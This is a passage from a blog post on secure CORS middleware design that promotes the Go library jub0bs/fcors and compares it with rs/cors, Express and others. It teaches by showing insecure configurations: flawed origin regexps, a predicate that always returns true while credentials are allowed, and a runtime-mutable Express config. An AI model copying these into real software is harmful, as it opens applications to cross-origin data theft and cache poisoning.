<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> lets you do so
under the condition that you also activate an advanced option provided by
<a href="https://pkg.go.dev/github.com/jub0bs/fcors/risky" target="_blank" rel="noopener">its companion package, aptly named &ldquo;risky&rdquo;</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromOrigins</span>(<span style="color:#e6db74">&#34;http://example.com&#34;</span>), <span style="color:#75715e">// ✅</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">risky</span>.<span style="color:#a6e22e">TolerateInsecureOrigins</span>(),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h4 id="disallow-dangerous-origin-patterns">Disallow dangerous origin patterns <a href="#disallow-dangerous-origin-patterns">¶</a></h4>
<p>It is common among CORS libraries, such as <a href="https://expressjs.com/en/resources/middleware/cors.html" target="_blank" rel="noopener">Express.js&rsquo;s</a>,
to support regular expressions as a means to allow a set of origins,
e.g. <a href="https://github.com/expressjs/cors/issues/42" target="_blank" rel="noopener">all subdomains of some base domain</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>/^https:\/\/.*\.example\.com$/
</span></span></code></pre></div><p>This feature affords a great deal of flexibility&hellip; perhaps too much.
Security misconfigurations due to flawed regexps are indeed so common
that it puts the judiciousness of such a feature into question.
Even seasoned regexp wranglers can sometimes be faulted, e.g. when they
forget to <a href="https://jub0bs.com/posts/2022-08-04-scraping-the-bottom-of-the-cors-barrel-part1/#unescaped-periods-in-the-etld1-part-of-a-regexp" target="_blank" rel="noopener">escape periods
standing for label separators</a>
or to anchor their regexp at both ends:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>/^https:\/\/.*.example.com$/
</span></span><span style="display:flex;"><span>/^https:\/\/.*\.example\.com/
</span></span></code></pre></div><p>Besides, some regular-expression engines—though thankfully
<a href="https://pkg.go.dev/regexp" target="_blank" rel="noopener">not Go&rsquo;s</a>—are prone to catastrophic backtracking,
which, if exploited by an attacker on a vulnerable server,
can cause a <a href="https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS" target="_blank" rel="noopener">denial of service</a>.
Therefore, I don&rsquo;t think CORS libraries should support regexps.
<a href="https://commandcenter.blogspot.com/2011/08/regular-expressions-in-lexing-and.html" target="_blank" rel="noopener">Rob Pike likely would agree</a>:</p>
<blockquote>
<p>Regular expressions are, in my experience, widely misunderstood and abused.</p>
</blockquote>
<p>Some CORS middleware libraries, like <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>, deserve praise for
<a href="https://github.com/rs/cors/issues/131#issuecomment-1203882405" target="_blank" rel="noopener">refusing to support regexps</a>
and supporting only a limited variety of pattern types,
but most of them still stop short of guarding their users
against excessively permissive patterns.
For instance, <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> tolerates <code>https://*</code> as an origin pattern,
which is insecure because it matches <em>any</em> <code>https</code> origin,
including, say, <code>https://attacker.com</code>!</p>
<p><a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> is adamant in
restricting the types of origin patterns it supports.
Some examples follow:</p>
<ul>
<li><code>https://*.example.com</code>,
in which the asterisk marks exactly one DNS label;</li>
<li><code>https://**.example.com</code>,
in which the sequence composed of two asterisks marks one or more DNS labels;</li>
<li><code>https://example.com:*</code>,
in which the asterisk marks an arbitrary (possibly implicit) port number.</li>
</ul>
<p><a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> supports no other types of origin patterns. In particular,
all of the following patterns are illegal and cause middleware instantiation to fail:
<code>https://*</code>, <code>https://example.*</code>, <code>https://*.example.com:*</code>.</p>
<p><a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> even goes the extra mile for your safety:
by default, it prevents developers from
inadvertently allowing arbitrary subdomains
of a <a href="https://publicsuffix.org/" target="_blank" rel="noopener">public suffix</a> (e.g. <code>com</code>),
because such domains (e.g. <code>random-attacker-666.com</code>)
are by definition registrable by <em>anyone</em>, including malicious actors.
By default, attempts to allow arbitrary subdomains of a public suffix
result in a run-time error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromOrigins</span>(<span style="color:#e6db74">&#34;https://*.com&#34;</span>), <span style="color:#75715e">// ❌</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>Again, if you need to <em>deliberately</em> allow arbitrary subdomains of
one or more public suffixes,
you&rsquo;ll need to explicitly open another escape hatch
provided by the <a href="https://pkg.go.dev/github.com/jub0bs/fcors/risky" target="_blank" rel="noopener">risky package</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromOrigins</span>(<span style="color:#e6db74">&#34;https://*.com&#34;</span>), <span style="color:#75715e">// ✅</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">risky</span>.<span style="color:#a6e22e">SkipPublicSuffixCheck</span>(),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h4 id="do-not-support-custom-callbacks">Do not support custom callbacks <a href="#do-not-support-custom-callbacks">¶</a></h4>
<p>I&rsquo;ve kept the most dangerous misfeature of them all for last: custom callbacks.
They come in numerous CORS libraries under different names and shapes:</p>
<ul>
<li>Express.js&rsquo;s CORS configuration object <a href="https://expressjs.com/en/resources/middleware/cors.html#configuring-cors-w-dynamic-origin" target="_blank" rel="noopener">accepts a callback (or even a boolean!)
for its <code>origin</code> property</a>;</li>
<li><a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s configuration struct exports
a function field named <code>AllowOriginFunc</code> of signature <code>func(string) bool</code>;</li>
<li>Echo&rsquo;s CORS middleware&rsquo;s configuration struct exports a function field
also named <code>AllowOriginFunc</code> but of signature <code>func(string) (bool, error)</code>;</li>
<li><a href="https://learn.microsoft.com/en-us/aspnet/core/?view=aspnetcore-7.0" target="_blank" rel="noopener">ASP.NET Core</a> provides a
<a href="https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.cors.infrastructure.corspolicybuilder.setisoriginallowed?view=aspnetcore-7.0" target="_blank" rel="noopener">method named <code>SetIsOriginAllowed</code></a> that takes a
parameter of type <code>Func&lt;string,bool&gt;</code>;</li>
<li>the now unmaintained <a href="https://github.com/gorilla/handlers" target="_blank" rel="noopener">gorilla/handlers</a> project similarly provides
<a href="https://github.com/gorilla/handlers/blob/546854cf1d61a016260b224e2526a29ff5b5c5ae/cors.go#LL251C6-L251C28" target="_blank" rel="noopener">an option named <code>AllowedOriginValidator</code></a>, etc.</li>
</ul>
<p>By letting their users specify custom callbacks,
those CORS middleware libraries give their users near total flexibility for
specifying how CORS requests should be accepted or rejected, e.g.
by querying some database for the list of allowed origins, as <a href="https://expressjs.com/en/resources/middleware/cors.html#configuring-cors-w-dynamic-origin" target="_blank" rel="noopener">suggested by
the documentation of Express.js&rsquo;s CORS middleware</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">corsOptions</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">origin</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">origin</span>, <span style="color:#a6e22e">callback</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// db.loadOrigins is an example call to load
</span></span></span><span style="display:flex;"><span>    <span style="color:#75715e">// a list of origins from a backing database
</span></span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">loadOrigins</span>(<span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">error</span>, <span style="color:#a6e22e">origins</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">callback</span>(<span style="color:#a6e22e">error</span>, <span style="color:#a6e22e">origins</span>)
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This &ldquo;DIY&rdquo; approach to CORS often leads to frightful results,
precisely because such hooks can so easily be abused by developers.
For example, I&rsquo;ve witnessed many developers specify
a <a href="https://github.com/rs/cors/issues/80" target="_blank" rel="noopener">predicate that unconditionally returns <code>true</code></a>
while also allowing credentialed requests,
thereby unwittingly opening the door to authenticated cross-origin attacks
from <em>any</em> Web origin; here is an example using <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Options</span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowOriginFunc</span>: <span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">origin</span> <span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">bool</span> { <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span> }, <span style="color:#75715e">// 😱</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowCredentials</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>There&rsquo;s an even more pernicious form of custom callbacks, present
in both <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> and <a href="https://github.com/go-chi/cors" target="_blank" rel="noopener">Chi</a> (yet another router for Go),
which grants the predicate access to the request object:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span>(<span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>, <span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">bool</span>
</span></span></code></pre></div><p>Motivations for this feature include the desire to vary responses
on the basis of the presence and/or value of some request headers,
such as <code>Cookie</code>, <code>Authorization</code>, or some non-standard HTTP header.
Do you see anything amiss? The answer is quite subtle&hellip;</p>
<p>Perhaps the most glaring issue with that predicate&rsquo;s signature is that,
since the request&rsquo;s origin is accessible
via the <a href="https://pkg.go.dev/net/http#Request" target="_blank" rel="noopener"><code>*http.Request</code></a> parameter anyway,
the string parameter is redundant;
another manifestation of accidental complexity right there.</p>
<p>However, one much more severe issue with such a predicate is that
it&rsquo;s almost guaranteed to lead to <a href="https://owasp.org/www-community/attacks/Cache_Poisoning" target="_blank" rel="noopener">cache poisoning</a>!
If you vary responses on the basis of the presence and/or value of some request header,
HTTP indeed mandates that you list the name of that header in your responses&rsquo;
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary" target="_blank" rel="noopener"><code>Vary</code> header</a>;
doing this signals to caching intermediaries that the header in question
should be part of the cache key.
But because the predicate lacks
a <a href="https://pkg.go.dev/net/http#ResponseWriter" target="_blank" rel="noopener"><code>http.ResponseWriter</code></a> parameter,
it gives you no way of populating the <code>Vary</code> header as required!
You have to remember to manually do so <em>outside</em> of the predicate, somehow.
If you forget,
as I believe most developers do,
to adequately populate the <code>Vary</code> header,
caching intermediaries are then liable to serve
inappropriate (and possibly malicious) cached responses to your clients.</p>
<p>The examples above may be sufficient to convince you that CORS middleware
libraries are better off staying away from those custom-callback features.
In my experience,
most use cases for CORS don&rsquo;t require this level of customisation anyway.</p>
<p>By contrast, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> curtails developers&rsquo; power (for their own good)
and eschews all forms of custom callbacks.
Moreover,
as discussed <a href="#7-treat-cors-as-a-compilation-target">earlier in this post</a>,
its <a href="https://pkg.go.dev/github.com/jub0bs/fcors#FromAnyOrigin" target="_blank" rel="noopener"><code>FromAnyOrigin</code> option</a> is rendered incompatible
(at compile time!) with credentialed access.</p>
<h3 id="11-guarantee-configuration-immutability">11. Guarantee configuration immutability <a href="#11-guarantee-configuration-immutability">¶</a></h3>
<p>Edit (2024/05/15): I have since <a href="https://jub0bs.com/posts/2024-05-14-reconfigurable-cors-middleware/" target="_blank" rel="noopener">softened my stance a bit on this one</a>.</p>
<p>Some CORS middleware libraries support dynamic updates to CORS configuration,
thereby obviating the need for a server redeployment.
Here is a proof of concept featuring Express.js:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">express</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cors</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;cors&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>()
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">port</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">3000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">corsOptions</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">origin</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;http://example.com&#39;</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>(<span style="color:#a6e22e">cors</span>(<span style="color:#a6e22e">corsOptions</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/&#39;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#39;Hello World!&#39;</span>)
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#39;/change-allowed-origin&#39;</span>, <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">next</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">corsOptions</span>.<span style="color:#a6e22e">origin</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;http://example.org&#39;</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#39;Done!&#39;</span>)
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">listen</span>(<span style="color:#a6e22e">port</span>, () =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">`Example app listening on port </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">port</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>)
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>Once that server has been started,
sending a single <code>POST</code> request to <code>/change-allowed-origin</code>
will indeed cause an update of the server&rsquo;s CORS configuration:
the allowed origin, which beforehand was <code>https://example.com</code>
will become <code>https://example.org</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ curl -sD - -o /dev/null <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -H <span style="color:#e6db74">&#34;Origin: https://example.org&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  localhost:3000
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>X-Powered-By<span style="color:#f92672">:</span> <span style="color:#ae81ff">Express</span>
</span></span><span style="display:flex;"><span>Access-Control-Allow-Origin<span style="color:#f92672">:</span> <span style="color:#ae81ff">http://example.com</span>
</span></span><span style="display:flex;"><span>Vary<span style="color:#f92672">:</span> <span style="color:#ae81ff">Origin</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ curl -XPOST localhost:3000/change-allowed-origin
</span></span><span style="display:flex;"><span>Done!
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ curl -sD - -o /dev/null <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -H <span style="color:#e6db74">&#34;Origin: https://example.org&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  localhost:3000
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>X-Powered-By<span style="color:#f92672">:</span> <span style="color:#ae81ff">Express</span>
</span></span><span style="display:flex;"><span>Access-Control-Allow-Origin<span style="color:#f92672">:</span> <span style="color:#ae81ff">http://example.org</span>
</span></span><span style="display:flex;"><span>Vary<span style="color:#f92672">:</span> <span style="color:#ae81ff">Origin</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><p>Whether this <a href="https://en.wikipedia.org/wiki/Affordance" target="_blank" rel="noopener">affordance</a> is intentional or incidental
(and due to a lack of defensive copying)
is unclear to me.
Though expedient and <a href="https://stackoverflow.com/q/75103900/2541573" target="_blank" rel="noopener">sometimes desirable</a>,
this affordance is arguably more harmful than good:
it opens the door to <a href="https://en.wikipedia.org/wiki/Race_condition" target="_blank" rel="noopener">race conditions</a> if the server processes requests
(and invokes middleware) in a concurrent fashion, as many servers do.</p>
<p>Insofar as CORS relaxes some of the restrictions enforced by the SOP,
it is a <em>security-critical</em> mechanism.
Accordingly, a server&rsquo;s CORS configuration should be subject to
<a href="https://en.wikipedia.org/wiki/Change_control" target="_blank" rel="noopener"><em>change control</em></a>:
more specifically, I argue that any update to CORS configuration
warrants careful vetting and should be followed by a server restart.
<a href="#10-render-insecure-configurations-impossible">Custom callbacks</a> and
insufficient defensive copying stand in the way of this principle.
Besides, if developers perceive server startup as prohibitively slow,
they should, in my opinion, focus their efforts on reducing startup time
rather than on avoiding the need to restart the server.</p>
<p>A middleware built with <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> is effectively immutable, and
any amendment to the corresponding CORS policy requires a server restart.
Although this constraint does not guarantee
that CORS-policy changes will get reviewed,
I believe that it at least nudges developers to adopt such a practice.</p>
<h3 id="12-focus-performance-optimisation-on-middleware-execution">12. Focus performance optimisation on middleware execution <a href="#12-focus-performance-optimisation-on-middleware-execution">¶</a></h3>
<p>As discussed earlier in this post, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>
performs more validation at startup than most other CORS libraries do;
moreover, it relies heavily on the functional-options pattern at startup,
which is <a href="https://www.evanjones.ca/go-functional-options-slow.html" target="_blank" rel="noopener">less performant</a>
than simply exposing a configuration struct type to developers.
Therefore, building a CORS middleware with <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> is comparatively
slower and more memory-hungry, though not prohibitively so
(only by a factor of about 20),
than building an equivalent middleware with <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>goos: darwin
</span></span><span style="display:flex;"><span>goarch: amd64
</span></span><span style="display:flex;"><span>cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rs_cors______startup  2016933    590 ns/op   371 B/op   8 allocs/op
</span></span><span style="display:flex;"><span>jub0bs_fcors_startup    85252  12130 ns/op  6664 B/op  76 allocs/op
</span></span></code></pre></div><p>In my opinion, that&rsquo;s tolerable.
For HTTP middleware, performance at <em>initialisation</em> indeed matters less than performance at <em>execution</em>:
incurring a modest performance penalty when initialising a middleware is acceptable
if invocations of that middleware require relatively few CPU cycles and
cause inconsequential amounts of heap allocations.</p>
<p><a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> makes such a tradeoff:
it frontloads as much of the necessary work as possible
at middleware initialisation in order to spare the hot path,
i.e. middleware execution.
That initial investment, both in time and memory,
is typically recouped after only a modest number of middleware invocations.
And if your use case is such that server startup shall not suffer
even a few microseconds&rsquo; delay,
you can always riff on <a href="https://bsky.app/profile/matryer.bsky.social" target="_blank" rel="noopener">Mat Ryer</a>&rsquo;s
<a href="https://pace.dev/blog/2018/05/09/how-I-write-http-services-after-eight-years.html#sync-once-to-setup-dependencies-10" target="_blank" rel="noopener">tricks for lazy middleware initialisation</a>.</p>
<p>You may be tempted to relegate execution time of a middleware to secondary importance,
because network I/O is likely to be the dominating factor in performance.
However, this is only true if middleware invocations remain inexpensive;
and many CORS middleware libraries, in part because
<a href="#do-not-support-custom-callbacks">they give developers <em>too much</em> freedom</a>,
simply cannot provide such guarantee.</p>
<p>As often in software design, <a href="https://wiki.c2.com/?LiberatingConstraint" target="_blank" rel="noopener">constraints liberate</a>.
By <a href="#disallow-dangerous-origin-patterns">restricting the kind of origin patterns that developers can specify
in their CORS configuration</a>,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> is free to rely on a custom tree-like data structure
designed for fast origin lookup.
And by denying developers a means to
<a href="#do-not-support-custom-callbacks">specify their CORS policy as a custom callback</a>,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> prevents them from inadvertently carrying out
expensive computations (such as compiling a regexp)
or I/O-intensive tasks (such as querying a database)
during execution of their CORS middleware.</p>
<p>The consequence of those deliberate constraints is that
invocations of a middleware built by <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> are fast
and only incur few heap allocations.</p>
<p>Edit (2023/08/02): Below are some results—only slightly redacted—of
<a href="https://github.com/jub0bs/fcors-benchmarks" target="_blank" rel="noopener">microbenchmarks</a>
comparing two functionally equivalent CORS middleware,
one built with <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> and the other with <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>goos: darwin
</span></span><span style="display:flex;"><span>goarch: amd64
</span></span><span style="display:flex;"><span>cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>without_CORS          205514234     6 ns/op    0 B/op   0 allocs/op
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># rs/cors
</span></span><span style="display:flex;"><span>sgl__vs_actual          3194002   375 ns/op   48 B/op   3 allocs/op
</span></span><span style="display:flex;"><span>mult_vs_actual          3152779   382 ns/op   48 B/op   3 allocs/op
</span></span><span style="display:flex;"><span>any__vs_actual          3499288   342 ns/op   48 B/op   3 allocs/op
</span></span><span style="display:flex;"><span>sgl__vs_preflight       1223632   983 ns/op  160 B/op   6 allocs/op
</span></span><span style="display:flex;"><span>mult_vs_preflight       1214544   986 ns/op  160 B/op   6 allocs/op
</span></span><span style="display:flex;"><span>any__vs_preflight       1264927   951 ns/op  160 B/op   6 allocs/op
</span></span><span style="display:flex;"><span>any__vs_preflight_hdr    907146  1302 ns/op  208 B/op  10 allocs/op
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># jub0bs/fcors
</span></span><span style="display:flex;"><span>sgl__vs_actual         21439983    53 ns/op    0 B/op   0 allocs/op
</span></span><span style="display:flex;"><span>mult_vs_actual          6499868   184 ns/op    0 B/op   0 allocs/op
</span></span><span style="display:flex;"><span>any__vs_actual          1453963    53 ns/op    0 B/op   0 allocs/op
</span></span><span style="display:flex;"><span>sgl__vs_preflight       7923229   152 ns/op    0 B/op   0 allocs/op
</span></span><span style="display:flex;"><span>mult_vs_preflight       4998284   222 ns/op    0 B/op   0 allocs/op
</span></span><span style="display:flex;"><span>any__vs_preflight       8044881   149 ns/op    0 B/op   0 allocs/op
</span></span><span style="display:flex;"><span>any__vs_preflight_hdr   7042791   171 ns/op    0 B/op   0 allocs/op
</span></span></code></pre></div><p>As you can see, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> is nimble and purrs quietly.</p>
<p><img src="/images/purrs-quietly.jpg" alt="picture of a cat lounging on top of a book about quantum mechanics"></p>
<h2 id="conclusion">Conclusion <a href="#conclusion">¶</a></h2>
<p>Thank you for your attention and your patience through this long and winding post!
At this stage, I hope that at least some of my arguments for <em>Fearless CORS</em>
have swayed you.</p>
<p>If you&rsquo;re a Gopher in need of a dependable CORS middleware library,
you are welcome to take <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> for a spin.
I&rsquo;ll wait (an indefinite amount of time) for feedback
before releasing version 1.0.0 but,
as far as I&rsquo;m concerned, the library is feature-complete and production-ready.
Please let me know on <a href="https://bsky.app/profile/jub0bs.bsky.social" target="_blank" rel="noopener">Bluesky</a> or <a href="https://infosec.exchange/@jub0bs" target="_blank" rel="noopener">Mastodon</a>
if it makes your life easier!</p>
